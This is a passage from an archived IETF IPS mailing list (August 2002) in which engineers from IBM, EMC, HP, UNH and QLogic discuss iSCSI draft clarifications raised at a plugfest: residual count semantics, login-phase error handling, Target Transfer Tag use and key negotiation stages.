successfully received, the Login Phase has clearly begun and it seems to me easier then to deal with all errors on the target side, including reception of a non-Login Request PDU, in the same manner, which is to send back a Login-Reject with the appropriate status code and then close the connection. I believe this is why the 0x020b Status code was introduced, and could anticipate the usefulness of having this if, for example, the initiator concludes Login Phase and begins sending FFP PDUs, but for whatever reason the target has not concluded Login Phase and continues to expect to receive only Login Request PDUs. Thank you, Bob Russell > 2. The last paragraph of section 2.2.3 says: > > "Before the Full Feature Phase is established, only Login Request and > Login Response PDUs are allowed. Any other PDU, when received at ini- > tiator or target, is a protocol error and MUST result in the connec- > tion being terminated. ..." > > The question is the following: is this rule literally true for the > target (i.e., can the target disconnect as soon as it receives a > non-Login PDU from the initiator) or does the target have to first > send a Login Response with Login reject PDU before disconnecting, as > it does for all other errors detected by the target during Login > Phase (according to section 4.3.1)? > > A related question is: does the target take the same action when > the very first PDU it receives on a new TCP connection is not a > Login Request PDU? > > If the target has to send the Login reject PDU before disconnecting, > then the last paragraph of section 2.2.3 should be reworded along > the following lines (modeled after the last paragraph of section 4.3): > > "Before the Full Feature Phase is established, only Login Request > and Login Response PDUs are allowed. If the target receives any PDU > other than Login Request, it must send a Login reject (code 0x020b) > and then disconnect. If the initiator receives any PDU other than > Login Response, it MUST drop the connection. ..." > > This wording would also appear to cover the case of when the very first > PDU a target receives on a new TCP connection is not a Login Request. > +++ I would suggest sticking with disconnecting. +++ > From owner-ips@ece.cmu.edu Thu Aug 1 11:36:22 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA03962 for ; Thu, 1 Aug 2002 11:35:48 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g71Eud100143 for ips-outgoing; Thu, 1 Aug 2002 10:56:39 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from maho3msx2.isus.emc.com (maho3msx2.isus.emc.com [128.221.11.32]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g71Euco00139 for ; Thu, 1 Aug 2002 10:56:38 -0400 (EDT) Received: by MAHO3MSX2 with Internet Mail Service (5.5.2653.19) id ; Thu, 1 Aug 2002 10:56:32 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71E0564C155@CORPMX14> From: Black_David@emc.com To: Julian_Satran@il.ibm.com Cc: ips@ece.cmu.edu Subject: RE: iSCSI: plugfest4 issues Date: Thu, 1 Aug 2002 10:56:30 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C2396B.9E99AAF0" Sender: owner-ips@ece.cmu.edu Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C2396B.9E99AAF0 Content-Type: text/plain; charset="iso-8859-1" Julian, I think we need to do something here, as there are clearly situations in which the residual count is important for commands that complete with other than good status, making the "other point of view" reported by Robert Russell incorrect. Waiting for SPC-3 to do something to clarify this isn't going to do much for iSCSI interoperability in the short term. Since Bob Snively was the Technical Editor of FCP-2, he tends to be correct about what FCP-2 requires or intends - I suggest we follow FCP-2, and say that the O/o/U/u bits are valid in all cases (of course, if none of them are set, the Residual Count field is not valid). Thanks, --David --------------------------------------------------- David L. Black, Senior Technologist EMC Corporation, 42 South St., Hopkinton, MA 01748 +1 (508) 249-6449 FAX: +1 (508) 497-8018 black_david@emc.com Mobile: +1 (978) 394-7754 --------------------------------------------------- -----Original Message----- From: Julian Satran [mailto:Julian_Satran@il.ibm.com] Sent: Thursday, August 01, 2002 3:26 AM To: Santosh Rao Cc: IPS Reflector; rdr@io.iol.unh.edu; Robert Snively; santoshr@hpcuhe.cup.hp.com; T10 Reflector Subject: Re: iSCSI: plugfest4 issues Santosh, I think that this behaviour should be specified by SPC3. I looked (again) into the FCP docs and like iSCSI they do not say anything beyond iSCSI says. Like iSCSI they specify that the field is valid when the Oo/Uu bits are set but nothing about how those bits relate to status. SPC says nothing about that either (beyond that the bits set are not necessarily an indication of error). Julo Santosh Rao Sent by: santoshr@hpcuhe.cup.hp.com 08/01/2002 03:44 AM To: IPS Reflector , Julian Satran/Haifa/IBM@IBMIL, rdr@io.iol.unh.edu cc: Robert Snively , T10 Reflector Subject: Re: iSCSI: plugfest4 issues Julian & Robert [Russell], I raised the same query regarding RESID for FCP/FCP-2 this time last year. The response I got for FCP/FCP-2 was that RESID information shall be valid, regardless of the scsi status returned. The RESID field, can be checked by the scsi transport drivers independent of the SCSI STATUS. I have enclosed the T10 response from Rob Snivelly below on that issue. As per FC-PLDA, the RESID information is valid, regardless of the scsi status returned by the device. An example of this is the case of "NO SENSE" or "RECOVERED ERROR" check condition, when the data transfer may have taken place and a CHECK CONDITION is returned. Also, for other CHECK CONDITION status', partial data transfer may have taken place and hence, resid information should be present. It would be good to maintain consistent behaviour across the scsi transports in this regard, since protocol bridging from iscsi to FCP domain would expect RESID information in the FCP domain, regardless of scsi status. This also allows scsi transports to remain free of SCSI command set details. (ex : the scsi transport drivers do not need to parse for CHECK CONDITION or GOO status information.) Thanks, Santosh ------------------------------------------------------------------------- Subject: Re: iSCSI: plugfest4 issues Date: Thu, 1 Aug 2002 02:52:19 +0300 From: "Julian Satran" To: "Robert D. Russell" CC: ips@ece.cmu.edu Bob, Thanks - some comments in text. Julo "Robert D. Russell" Julian: Four issues came up today at the iSCSI plugfest: 1. A question about whether or not the Residual Count field and the appropriate O and U bits need to be computed on all SCSI Response PDUs, regardless of the values in the Status and/or Response fields. One point of view says that the Residual Count field and the O and U bits appear to be strictly iSCSI values that are derived by the iSCSI target layer from the ExpectedDataTransferLength field of the SCSI Command PDU and the DataSegmentLength fields of the DataIn or DataOut PDUs sent as part of this command. Therefore ,the iSCSI target always computes a Residual Count value without regard to the Status and/or Response fields, since these are SCSI values. The other point of view says that the Residual Count field, and the O and U bits, need only be set when the Status and Response fields indicate that the command was completed at the target with a GOOD Status, and the target does not have to compute or set the Residual Count field and the O or U bits for other values of the Status and/or Response fields. Which is it? In any case, could this be clarified somewhere in the standard, most likely in section 9.4.4. +++ Residual count fields are in fact carrioed over from the SCSI layer. I know that none of the SCSI docs specifies exactly their behavior and it strikes me as a bad idea to have protocols specify them. The values should be valid any time the target decides to put them in. +++ ------------------------------------------------------------------------- Subject: RE: FCP_RSP Residual Checking. Date: Thu, 5 Jul 2001 13:18:42 -0700 From: Robert Snively To: "'Santosh Rao'" , T10 Reflector , Fibre Channel T11 reflector Robert Snively wrote: > > > Is the target required to initialize the fields FCP_RESID_UNDER, > > FCP_RESID_OVER & FCP_RESID when any I/O is completed > > without the data phase having transferred exactly > > FCP_DL bytes, regardless of the SCSI Status being returned ? > > > When the target generates a CHECK CONDITION on an I/O > > and may have returned less than FCP_DL bytes in the data > > phase for that I/O, is it > > required to set the FCP_RESID_UNDER to 1 and indicate the number of > > bytes not transferred in the FCP_RESID field? > > The intent is that the answer to your second question is: > FCP_RESID should appropriately regardless of the SCSI Status > being returned. The classic errors of that class are those > involving successful completion with reporting, like > the "NO SENSE" and "RECOVERED ERROR" series of errors. > > > > > What is the behaviour initiators can expect under the above > > condition ? > > The intent is that there be no conflict. I believe that FCP-2 > was a bit less bald than FC-PLDA in stating the requirement. > > > Is there a conflict in the behaviours described by FCP/FCP-2 > > & FC-PLDA ? > > > > Bob Snively e-mail: rsnively@brocade.com > Brocade Communications Systems phone: 408 487 8135 > 1745 Technology Drive > San Jose, CA 95110 > > > -----Original Message----- > > From: Santosh Rao [mailto:santoshr@cup.hp.com] > > Sent: Thursday, July 05, 2001 12:15 PM > > To: T10 Reflector; Fibre Channel T11 reflector > > Subject: FCP_RSP Residual Checking. > > > > > > All, > > > > I've got a question on target behaviour while sending a > > CHECK CONDITION > > SCSI status in its FCP_RSP IU. > > > > Is the target required to initialize the fields FCP_RESID_UNDER, > > FCP_RESID_OVER & FCP_RESID when any I/O is completed without the data > > phase having transferred exactly FCP_DL bytes, regardless of the SCSI > > Status being returned ? > > > > When the target generates a CHECK CONDITION on an I/O and may have > > returned less than FCP_DL bytes in the data phase for that I/O, is it > > required to set the FCP_RESID_UNDER to 1 and indicate the number of > > bytes not transferred in the FCP_RESID field? > > > > FC-PLDA Section 8.2.4.1 states that : > > "SCSI targets that transfer less than FCP_DL bytes during > > the FCP_DATA > > IUs shall set the FCP_RESID_UNDER to 1". > > > > No exceptions are specified in the case of a CHECK CONDITION in the > > above definition, implying that FCP_RSP residual checking can be > > performed irrespective of the SCSI Status that was returned in the > > FCP_RSP. > > > > However, the wording descriptions of FCP_RESID_UNDER, > > FCP_RESID_OVER & > > FCP_RESID in SCSI-FCP & FCP-2 are not as stringent as > > FC-PLDA and do not > > mandate that FCP_RESID_UNDER shall be set when the data > > transferred is < > > FCP_DL. > > > > What is the behaviour initiators can expect under the above > > condition ? > > Is there a conflict in the behaviours described by FCP/FCP-2 > > & FC-PLDA ? > > > > Thanks, > > Santosh Rao > > -- Education is when you read the fine print. Experience is what you get if you don't. ------_=_NextPart_001_01C2396B.9E99AAF0 Content-Type: text/html; charset="iso-8859-1"
Julian,
 
I think we need to do something here, as there are clearly
situations in which the residual count is important for commands that
complete with other than good status, making the "other point of
view" reported by Robert Russell incorrect.  Waiting for SPC-3 to
do something to clarify this isn't going to do much for iSCSI
interoperability in the short term.  Since Bob Snively was the
Technical Editor of FCP-2, he tends to be correct about what FCP-2
requires or intends - I suggest we follow FCP-2, and say that the
O/o/U/u bits are valid in all cases (of course, if none of them
are set, the Residual Count field is not valid).
 
Thanks,
--David

---------------------------------------------------
David L. Black, Senior Technologist
EMC Corporation, 42 South St., Hopkinton, MA  01748
+1 (508) 249-6449            FAX: +1 (508) 497-8018
black_david@emc.com       Mobile: +1 (978) 394-7754
---------------------------------------------------

-----Original Message-----
From: Julian Satran [mailto:Julian_Satran@il.ibm.com]
Sent: Thursday, August 01, 2002 3:26 AM
To: Santosh Rao
Cc: IPS Reflector; rdr@io.iol.unh.edu; Robert Snively; santoshr@hpcuhe.cup.hp.com; T10 Reflector
Subject: Re: iSCSI: plugfest4 issues


Santosh,

I think that this behaviour should be specified by SPC3. I looked (again) into the FCP docs and like iSCSI they do not say anything beyond
iSCSI says. Like iSCSI they specify that the field is valid when the Oo/Uu bits are set but nothing about how those bits relate to status.
SPC says nothing about that either  (beyond that the bits set are not necessarily an indication of error).

Julo


Santosh Rao <santoshr@cup.hp.com>
Sent by: santoshr@hpcuhe.cup.hp.com

08/01/2002 03:44 AM

       
        To:        IPS Reflector <ips@ece.cmu.edu>, Julian Satran/Haifa/IBM@IBMIL, rdr@io.iol.unh.edu
        cc:        Robert Snively <rsnively@brocade.com>, T10 Reflector <t10@t10.org>
        Subject:        Re: iSCSI: plugfest4 issues

       


Julian & Robert [Russell],

I raised the same query regarding RESID for FCP/FCP-2 this time last
year. The response I got for FCP/FCP-2 was that RESID information shall
be valid, regardless of the scsi status returned. The RESID field, can
be checked by the scsi transport drivers independent of the SCSI STATUS.

I have enclosed the T10 response from Rob Snivelly below on that issue.
As per FC-PLDA, the RESID information is valid, regardless of the scsi
status returned by the device.

An example of this is the case of "NO SENSE" or "RECOVERED ERROR" check
condition, when the data transfer may have taken place and a CHECK
CONDITION is returned. Also, for other CHECK CONDITION status', partial
data transfer may have taken place and hence, resid information should
be present.

It would be good to maintain consistent behaviour across the scsi
transports in this regard, since protocol bridging from iscsi to FCP
domain would expect RESID information in the FCP domain, regardless of
scsi status.

This also allows scsi transports to remain free of SCSI command set
details. (ex : the scsi transport drivers do not need to parse for CHECK
CONDITION or GOO status information.)

Thanks,
Santosh


-------------------------------------------------------------------------

Subject: Re: iSCSI: plugfest4 issues
Date:    Thu, 1 Aug 2002 02:52:19 +0300
From:   "Julian Satran" <Julian_Satran@il.ibm.com>
To:     "Robert D. Russell" <rdr@io.iol.unh.edu>
CC:     ips@ece.cmu.edu

Bob,

Thanks - some comments in text. Julo


 "Robert D. Russell" <rdr@io.iol.unh.edu>
                                           
Julian:

Four issues came up today at the iSCSI plugfest:

1. A question about whether or not the Residual Count field and the
 appropriate O and U bits need to be computed on all SCSI Response
 PDUs, regardless of the values in the Status and/or Response fields.

 One point of view says that the Residual Count field and the O and U
 bits appear to be strictly iSCSI values that are derived by the
 iSCSI target layer from the ExpectedDataTransferLength field of the
 SCSI Command PDU and the DataSegmentLength fields of the DataIn or
 DataOut PDUs sent as part of this command.  Therefore ,the iSCSI
 target always computes a Residual Count value without regard to the
 Status and/or Response fields, since these are SCSI values.

 The other point of view says that the Residual Count field, and the
 O and U bits, need only be set when the Status and Response fields
 indicate that the command was completed at the target with a GOOD
 Status, and the target does not have to compute or set the Residual
 Count field and the O or U bits for other values of the Status and/or
 Response fields.

 Which is it?  In any case, could this be clarified somewhere in the
 standard, most likely in section 9.4.4.

+++ Residual count fields are in fact carrioed over from the SCSI layer.
I know that none of the SCSI docs specifies
exactly their behavior and it strikes me as a bad idea to have protocols
specify them.
The values should be valid any time the target decides to put them in.
+++


-------------------------------------------------------------------------
Subject: RE: FCP_RSP Residual Checking.
Date:    Thu, 5 Jul 2001 13:18:42 -0700
From:    Robert Snively <rsnively@brocade.com>
To:      "'Santosh Rao'" <santoshr@cup.hp.com>,
        T10 Reflector <t10@t10.org>,
        Fibre Channel T11 reflector <fc@network.com>

Robert Snively wrote:
>
> >  Is the target required to initialize the fields FCP_RESID_UNDER,
> >  FCP_RESID_OVER & FCP_RESID when any I/O is completed
> >  without the data phase having transferred exactly
> >  FCP_DL bytes, regardless of the SCSI Status being returned ?
>
> >  When the target generates a CHECK CONDITION on an I/O
> >  and may have returned less than FCP_DL bytes in the data
> >  phase for that I/O, is it
> >  required to set the FCP_RESID_UNDER to 1 and indicate the number of
> >  bytes not transferred in the FCP_RESID field?
>
> The intent is that the answer to your second question is:
> FCP_RESID should appropriately regardless of the SCSI Status
> being returned.  The classic errors of that class are those
> involving successful completion with reporting, like
> the "NO SENSE" and "RECOVERED ERROR" series of errors.
>
> >
> >  What is the behaviour initiators can expect under the above
> >  condition ?
>
> The intent is that there be no conflict.  I believe that FCP-2
> was a bit less bald than FC-PLDA in stating the requirement.
>
> >  Is there a conflict in the behaviours described by FCP/FCP-2
> >  & FC-PLDA ?
> >
>
> Bob Snively                        e-mail:    rsnively@brocade.com
> Brocade Communications Systems     phone:  408 487 8135
> 1745 Technology Drive
> San Jose, CA 95110
>
> >  -----Original Message-----
> >  From: Santosh Rao [mailto:santoshr@cup.hp.com]
> >  Sent: Thursday, July 05, 2001 12:15 PM
> >  To: T10 Reflector; Fibre Channel T11 reflector
> >  Subject: FCP_RSP Residual Checking.
> >
> >
> >  All,
> >
> >  I've got a question on target behaviour while sending a
> >  CHECK CONDITION
> >  SCSI status in its FCP_RSP IU.
> >
> >  Is the target required to initialize the fields FCP_RESID_UNDER,
> >  FCP_RESID_OVER & FCP_RESID when any I/O is completed without the data
> >  phase having transferred exactly FCP_DL bytes, regardless of the SCSI
> >  Status being returned ?
> >
> >  When the target generates a CHECK CONDITION on an I/O and may have
> >  returned less than FCP_DL bytes in the data phase for that I/O, is it
> >  required to set the FCP_RESID_UNDER to 1 and indicate the number of
> >  bytes not transferred in the FCP_RESID field?
> >
> >  FC-PLDA Section 8.2.4.1 states that :
> >  "SCSI targets that transfer less than FCP_DL bytes during
> >  the FCP_DATA
> >  IUs shall set the FCP_RESID_UNDER to 1".
> >
> >  No exceptions are specified in the case of a CHECK CONDITION in the
> >  above definition, implying that FCP_RSP residual checking can be
> >  performed irrespective of the SCSI Status that was returned in the
> >  FCP_RSP.
> >
> >  However, the wording descriptions of FCP_RESID_UNDER,
> >  FCP_RESID_OVER &
> >  FCP_RESID in SCSI-FCP & FCP-2 are not as stringent as
> >  FC-PLDA and do not
> >  mandate that FCP_RESID_UNDER shall be set when the data
> >  transferred is <
> >  FCP_DL.
> >
> >  What is the behaviour initiators can expect under the above
> >  condition ?
> >  Is there a conflict in the behaviours described by FCP/FCP-2
> >  & FC-PLDA ?
> >
> >  Thanks,
> >  Santosh Rao
> >

--
Education is when you read the fine print.
Experience is what you get if you don't.


------_=_NextPart_001_01C2396B.9E99AAF0-- From owner-ips@ece.cmu.edu Thu Aug 1 13:49:42 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA09286 for ; Thu, 1 Aug 2002 13:49:37 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g71H1W808213 for ips-outgoing; Thu, 1 Aug 2002 13:01:32 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g71H1Co08182 for ; Thu, 1 Aug 2002 13:01:27 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel12.hp.com (Postfix) with ESMTP id 4ABF6E0032C; Thu, 1 Aug 2002 10:01:11 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id KAA19824; Thu, 1 Aug 2002 10:01:06 -0700 (PDT) Message-ID: <3D496BD4.4C9C2132@cup.hp.com> Date: Thu, 01 Aug 2002 10:11:48 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.78 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: Julian Satran Cc: IPS Reflector , Robert Snively Subject: Re: iSCSI: plugfest4 issues References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Julian, I agree with you that the wording should be sufficient as called out in Section 9.4 description of the bits and the resid field. However, in observance of the fact that non-interopability has been noticed in this area, it may help to tighten the wording for the description of the o/O and u/U bits in the "SCSI Response" description in Section 9.4. Perhaps, the use of "MUST" directive when calling out the condition for the u/U/o/O bits to be set would help. Also, In Section 9.4.4, instead of : "The Residual Count field is only valid in the case where either the U bit or the O bit is set." I suggest : "The Residual Count field MUST be valid when either the U or the O bit is set". Similar wording for the Bi-di read residual count. Thanks, Santosh Julian Satran wrote: > > Santosh, > > I think that this behaviour should be specified by SPC3. I looked > (again) into the FCP docs and like iSCSI they do not say anything > beyond > iSCSI says. Like iSCSI they specify that the field is valid when the > Oo/Uu bits are set but nothing about how those bits relate to status. > SPC says nothing about that either (beyond that the bits set are not > necessarily an indication of error). > > Julo > > Santosh Rao > To: IPS Reflector > Sent by: , Julian > santoshr@hpcuhe.cup.hp.com Satran/Haifa/IBM@IBMIL, > rdr@io.iol.unh.edu > 08/01/2002 03:44 AM cc: Robert Snively > , T10 > Reflector > Subject: Re: iSCSI: > plugfest4 issues > > > > Julian & Robert [Russell], > > I raised the same query regarding RESID for FCP/FCP-2 this time last > year. The response I got for FCP/FCP-2 was that RESID information > shall > be valid, regardless of the scsi status returned. The RESID field, can > be checked by the scsi transport drivers independent of the SCSI > STATUS. > > I have enclosed the T10 response from Rob Snivelly below on that > issue. > As per FC-PLDA, the RESID information is valid, regardless of the scsi > status returned by the device. > > An example of this is the case of "NO SENSE" or "RECOVERED ERROR" > check > condition, when the data transfer may have taken place and a CHECK > CONDITION is returned. Also, for other CHECK CONDITION status', > partial > data transfer may have taken place and hence, resid information should > be present. > > It would be good to maintain consistent behaviour across the scsi > transports in this regard, since protocol bridging from iscsi to FCP > domain would expect RESID information in the FCP domain, regardless of > scsi status. > > This also allows scsi transports to remain free of SCSI command set > details. (ex : the scsi transport drivers do not need to parse for > CHECK > CONDITION or GOO status information.) > > Thanks, > Santosh > > ------------------------------------------------------------------------- > > Subject: Re: iSCSI: plugfest4 issues > Date: Thu, 1 Aug 2002 02:52:19 +0300 > From: "Julian Satran" > To: "Robert D. Russell" > CC: ips@ece.cmu.edu > > Bob, > > Thanks - some comments in text. Julo > > "Robert D. Russell" > > Julian: > > Four issues came up today at the iSCSI plugfest: > > 1. A question about whether or not the Residual Count field and the > appropriate O and U bits need to be computed on all SCSI Response > PDUs, regardless of the values in the Status and/or Response fields. > > One point of view says that the Residual Count field and the O and U > bits appear to be strictly iSCSI values that are derived by the > iSCSI target layer from the ExpectedDataTransferLength field of the > SCSI Command PDU and the DataSegmentLength fields of the DataIn or > DataOut PDUs sent as part of this command. Therefore ,the iSCSI > target always computes a Residual Count value without regard to the > Status and/or Response fields, since these are SCSI values. > > The other point of view says that the Residual Count field, and the > O and U bits, need only be set when the Status and Response fields > indicate that the command was completed at the target with a GOOD > Status, and the target does not have to compute or set the Residual > Count field and the O or U bits for other values of the Status and/or > Response fields. > > Which is it? In any case, could this be clarified somewhere in the > standard, most likely in section 9.4.4. > > +++ Residual count fields are in fact carrioed over from the SCSI > layer. > I know that none of the SCSI docs specifies > exactly their behavior and it strikes me as a bad idea to have > protocols > specify them. > The values should be valid any time the target decides to put them in. > > +++ > > ------------------------------------------------------------------------- > Subject: RE: FCP_RSP Residual Checking. > Date: Thu, 5 Jul 2001 13:18:42 -0700 > From: Robert Snively > To: "'Santosh Rao'" , > T10 Reflector , > Fibre Channel T11 reflector > > Robert Snively wrote: > > > > > Is the target required to initialize the fields FCP_RESID_UNDER, > > > FCP_RESID_OVER & FCP_RESID when any I/O is completed > > > without the data phase having transferred exactly > > > FCP_DL bytes, regardless of the SCSI Status being returned ? > > > > > When the target generates a CHECK CONDITION on an I/O > > > and may have returned less than FCP_DL bytes in the data > > > phase for that I/O, is it > > > required to set the FCP_RESID_UNDER to 1 and indicate the number > of > > > bytes not transferred in the FCP_RESID field? > > > > The intent is that the answer to your second question is: > > FCP_RESID should appropriately regardless of the SCSI Status > > being returned. The classic errors of that class are those > > involving successful completion with reporting, like > > the "NO SENSE" and "RECOVERED ERROR" series of errors. > > > > > > > > What is the behaviour initiators can expect under the above > > > condition ? > > > > The intent is that there be no conflict. I believe that FCP-2 > > was a bit less bald than FC-PLDA in stating the requirement. > > > > > Is there a conflict in the behaviours described by FCP/FCP-2 > > > & FC-PLDA ? > > > > > > > Bob Snively e-mail: rsnively@brocade.com > > Brocade Communications Systems phone: 408 487 8135 > > 1745 Technology Drive > > San Jose, CA 95110 > > > > > -----Original Message----- > > > From: Santosh Rao [mailto:santoshr@cup.hp.com] > > > Sent: Thursday, July 05, 2001 12:15 PM > > > To: T10 Reflector; Fibre Channel T11 reflector > > > Subject: FCP_RSP Residual Checking. > > > > > > > > > All, > > > > > > I've got a question on target behaviour while sending a > > > CHECK CONDITION > > > SCSI status in its FCP_RSP IU. > > > > > > Is the target required to initialize the fields FCP_RESID_UNDER, > > > FCP_RESID_OVER & FCP_RESID when any I/O is completed without the > data > > > phase having transferred exactly FCP_DL bytes, regardless of the > SCSI > > > Status being returned ? > > > > > > When the target generates a CHECK CONDITION on an I/O and may > have > > > returned less than FCP_DL bytes in the data phase for that I/O, > is it > > > required to set the FCP_RESID_UNDER to 1 and indicate the number > of > > > bytes not transferred in the FCP_RESID field? > > > > > > FC-PLDA Section 8.2.4.1 states that : > > > "SCSI targets that transfer less than FCP_DL bytes during > > > the FCP_DATA > > > IUs shall set the FCP_RESID_UNDER to 1". > > > > > > No exceptions are specified in the case of a CHECK CONDITION in > the > > > above definition, implying that FCP_RSP residual checking can be > > > performed irrespective of the SCSI Status that was returned in > the > > > FCP_RSP. > > > > > > However, the wording descriptions of FCP_RESID_UNDER, > > > FCP_RESID_OVER & > > > FCP_RESID in SCSI-FCP & FCP-2 are not as stringent as > > > FC-PLDA and do not > > > mandate that FCP_RESID_UNDER shall be set when the data > > > transferred is < > > > FCP_DL. > > > > > > What is the behaviour initiators can expect under the above > > > condition ? > > > Is there a conflict in the behaviours described by FCP/FCP-2 > > > & FC-PLDA ? > > > > > > Thanks, > > > Santosh Rao > > > > > -- > Education is when you read the fine print. > Experience is what you get if you don't. -- Finish each day and be done with it. You have done what you could; Some blunders and absurdities have crept in; Forget them as soon as you can. Tomorrow is a new day; You shall begin it serenely and with too high a spirit to be encumbered with your old nonsense. From owner-ips@ece.cmu.edu Thu Aug 1 20:38:08 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA22049 for ; Thu, 1 Aug 2002 20:38:07 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g71NpcB01162 for ips-outgoing; Thu, 1 Aug 2002 19:51:38 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from iol.unh.edu (io.iol.unh.edu [132.177.123.82]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g71NfYo00715 for ; Thu, 1 Aug 2002 19:41:34 -0400 (EDT) Received: from io.iol.unh.edu (localhost.localdomain [127.0.0.1]) by iol.unh.edu (8.12.3/8.12.3) with ESMTP id g71NfS6U006502; Thu, 1 Aug 2002 19:41:28 -0400 Received: from localhost (rdr@localhost) by io.iol.unh.edu (8.12.3/8.12.3/Submit) with ESMTP id g71NfSZJ006499; Thu, 1 Aug 2002 19:41:28 -0400 Date: Thu, 1 Aug 2002 19:41:28 -0400 (EDT) From: "Robert D. Russell" To: Julian Satran , Subject: Re: iSCSI: plugfest4 issues In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ips@ece.cmu.edu Precedence: bulk Julian: Only one minor issue came up today, Thursday, 1-August-2002, at the iSCSI plugfest. 1. According to the change log for draft 11 (which, of course, is not part of the official draft), the TTT field was added to the Data-In PDU to carry information when the A bit is 1. However, the way the standard is currently written, section 9.7.3 requires a valid Target Transfer Tag when the A bit is 1, but says nothing about its value when the A bit is 0, which implies that it may be valid but does not have to be valid. The question is, what use is a valid TTT in a Data-In PDU when the A bit is 0? No reply is ever expected from the initiator in this case (because the A bit is 0), so the initiator can never use this TTT value in any future PDU. Perhaps the first sentence of the second paragraph of section 9.7.3 should be modified to read: "On incoming data, the Target Transfer Tag MUST be provided by the target if the A bit is set to 1 and MUST be reserved otherwise." Thank you for your consideration. Bob Russell InterOperability Lab University of New Hampshire rdr@iol.unh.edu 603-862-3774 From owner-ips@ece.cmu.edu Fri Aug 2 01:32:50 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA29637 for ; Fri, 2 Aug 2002 01:32:50 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g724v2g12887 for ips-outgoing; Fri, 2 Aug 2002 00:57:02 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id g724uxo12882; Fri, 2 Aug 2002 00:56:59 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate-2.de.ibm.com (8.12.3/8.12.3) with ESMTP id g724uqq6024696; Fri, 2 Aug 2002 06:56:53 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.12.3/NCO/VER6.3) with ESMTP id g724up6F046606; Fri, 2 Aug 2002 06:56:52 +0200 Subject: Re: iSCSI-clarification on TargetAddress and TargetName usage To: "Dean Scoville" Cc: ips@ece.cmu.edu, owner-ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.9 November 16, 2001 Message-ID: From: "Julian Satran" Date: Fri, 2 Aug 2002 00:39:14 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.9a |January 7, 2002) at 02/08/2002 07:56:51 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Comments in text. Thanks, Julo "Dean Scoville" ogic.com> cc: Sent by: Subject: clarification on TargetAddress and TargetName usage owner-ips@ece.cmu .edu 07/26/2002 07:47 PM Julian, I would like clarification on when the "TargetAddress" and "TargetName" keys can be sent by the target: Section 10 of the spec lists the keys that can be sent during SecurityNegotiation stage, and states that all other keys MUST NOT be used... "TargetAddress" does not appear in the list, but section 11.8 shows "TargetAddress" usage as "Any-Stage". If I understand correctly, the target must send its address when returning a redirect status, and this can occur during SecurityNegotiation stage. If this is true, could you please add "TargetAddress" to the list of acceptable keys in section 10. +++ will add +++ Section 11.4 states "The TargetName key may also be returned by the 'SendTargets' text request (which is the only use when issued by a target)." If I interpret this correctly, it means that the target can only send the "TargetName" key in response to a SendTargets request-- which only occurs during full feature phase. But section 11.4 also states the key's usage as "ALL by target". Should the usage be changed to "FFPO by target", or are there other cases besides a 'SendTargets' response when the target is allowed to send this key? regards, +++ It has been rephrased +++ Dean Scoville dean.scoville@qlogic.com From owner-ips@ece.cmu.edu Fri Aug 2 02:25:30 2002 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA09284 for ; Fri, 2 Aug 2002 02:25:30 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id g725h9I14358 for ips-outgoing; Fri, 2 Aug 2002 01:43:09 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: 